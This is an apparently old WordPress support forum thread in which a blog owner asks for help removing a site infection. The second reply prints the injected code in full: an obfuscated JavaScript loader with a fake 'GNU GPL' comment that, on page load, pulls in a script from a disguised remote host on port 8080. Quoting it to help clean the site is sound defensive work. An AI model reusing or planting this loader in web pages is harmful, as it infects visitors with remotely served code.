WordPress.org

1. eragas
   Member
   Posted 2 years ago #

   Hello everybody,

   I have a blog.

   http://historiaglobalonline.com/

   How do I delete the virus?

   Please I nedd your help.

   Thanks.

   Erick

2. ClaytonJames
   Member
   Posted 2 years ago #

   Looks like you may possibly have an unwanted script running outside of the html content.

   </html>
   /*GNU GPL*/ try{window.onload = function(){var Dlo228l8u771kzw = document.createElement('script');Dlo228l8u771kzw.setAttribute('type', 'text/javascript');Dlo228l8u771kzw.setAttribute('id', 'myscript1');Dlo228l8u771kzw.setAttribute('src',  'h@(t#t^^!p#&:@^$(/$/(j^#^o^o(#$m&)$l$(@!#a$^-!&^$)o@@r##!!g^!(^.$$^s))$p(@(a@@n@)#k^@#w&)i#$r(e(.$!&#c!@o!^()!m#.!&w())3(^@s$&^c$)h&(o#!o&#l&@s!^&-(c#o(#)m@$.&(e$@&!a^s(y(t(a$(^)b)!&l&e@!t(e)(n!n$#)i^(^!s@.^(r^#^$u(#:&8^$)0)^#8^(!0^/!#g##@$$o&o#$g#l!e^($.(@c#o^!)m@/(g&$^o(@o$#(^g($l!e@.##c$)$(o$)!!m^$/($!b!)$)i$n#(g)!.^!c((@&@o^$m)$)/&!&g$(($o)o)@((g#&&l(!e@$.(f($)^&r@&!#/!w@(o(^!r)d()$!#p)!^r(e@#s&)!s(^!@.^(&o$#@r((g^/^^@'.replace(/\!|@|&|\)|\$|\(|#|\^/ig, ''));Dlo228l8u771kzw.setAttribute('defer', 'defer');document.body.appendChild(Dlo228l8u771kzw);}} catch(e) {}

   http://codex.wordpress.org/FAQ_My_site_was_hacked

   http://wordpress.org/search/hacked?documentation=1&forums=1

3. eragas
   Member
   Posted 2 years ago #

   Thanks Clayton.

   I remove this line. This line was on the "index.php". I remove this line but my site is not cleaner.

   http://historiaglobalonline.com

   Please Clayton, help me.

   Erick

4. Terry
   Member
   Posted 2 years ago #

   Did you clear the wordpress cache eragas (if you have that plugin installed)...or hit Ctrl + F5 a couple times to clear your browser's cache? How did you delete the line in the index.php file...by ftp client (reuploading the file) or within wordpress?

   Also see my note here about a possible computer virus being the culprit of gaining access to your files:

   http://wordpress.org/support/topic/342516?replies=3#post-1318346

Topic Closed

This topic has been closed to new replies.